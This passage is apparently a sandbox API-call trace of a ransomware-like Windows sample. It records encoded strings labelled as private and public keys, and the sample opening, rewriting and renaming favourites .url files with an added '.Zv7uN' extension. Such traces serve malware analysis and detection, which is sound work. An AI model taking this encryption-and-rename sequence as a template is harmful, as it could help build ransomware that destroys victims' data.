lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0126.247] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x2c6381c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0126.248] GetCurrentThreadId () returned 0xa30 [0126.248] GetCurrentThreadId () returned 0xa30 [0126.248] GetCurrentThreadId () returned 0xa30 [0126.249] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0126.249] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1ef116c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0126.249] GetCurrentThreadId () returned 0xa30 [0126.249] GetCurrentThreadId () returned 0xa30 [0126.249] GetCurrentThreadId () returned 0xa30 [0126.249] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Get Windows Live.url" (normalized: "c:\\users\\default\\favorites\\windows live\\get windows live.url"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0126.250] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0126.250] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0126.250] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x85 [0126.250] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0126.250] ReadFile (in: hFile=0x1e8, lpBuffer=0x1ef8f70, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1ef8f70*, lpNumberOfBytesRead=0x18f3d4*=0x85, lpOverlapped=0x0) returned 1 [0126.252] CloseHandle (hObject=0x1e8) returned 1 [0126.253] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Get Windows Live.url" (normalized: "c:\\users\\default\\favorites\\windows live\\get windows live.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0126.255] WriteFile (in: hFile=0x1e8, lpBuffer=0x1efafa0*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1efafa0*, lpNumberOfBytesWritten=0x18f3e0*=0x85, lpOverlapped=0x0) returned 1 [0126.257] CloseHandle (hObject=0x1e8) returned 1 [0126.257] MoveFileW (lpExistingFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Get Windows Live.url" (normalized: "c:\\users\\default\\favorites\\windows live\\get windows live.url"), lpNewFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Get Windows Live.url.Zv7uN" (normalized: "c:\\users\\default\\favorites\\windows live\\get windows live.url.zv7un")) returned 1 [0126.258] GetCurrentThreadId () returned 0xa30 [0126.259] GetCurrentThreadId () returned 0xa30 [0126.259] GetCurrentThreadId () returned 0xa30 [0126.259] GetCurrentThreadId () returned 0xa30 [0126.259] GetCurrentThreadId () returned 0xa30 [0126.259] GetCurrentThreadId () returned 0xa30 [0126.259] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa52981, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="Windows Live Gallery.url", cAlternateFileName="WINDOW~2.URL")) returned 1 [0126.259] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0126.259] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0126.259] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Gallery.url" (normalized: "c:\\users\\default\\favorites\\windows live\\windows live gallery.url"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa52981, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1 [0126.261] GetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Gallery.url" (normalized: "c:\\users\\default\\favorites\\windows live\\windows live gallery.url")) returned 0x20 [0126.261] SetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Gallery.url", dwFileAttributes=0x80) returned 1 [0126.263] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0126.263] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 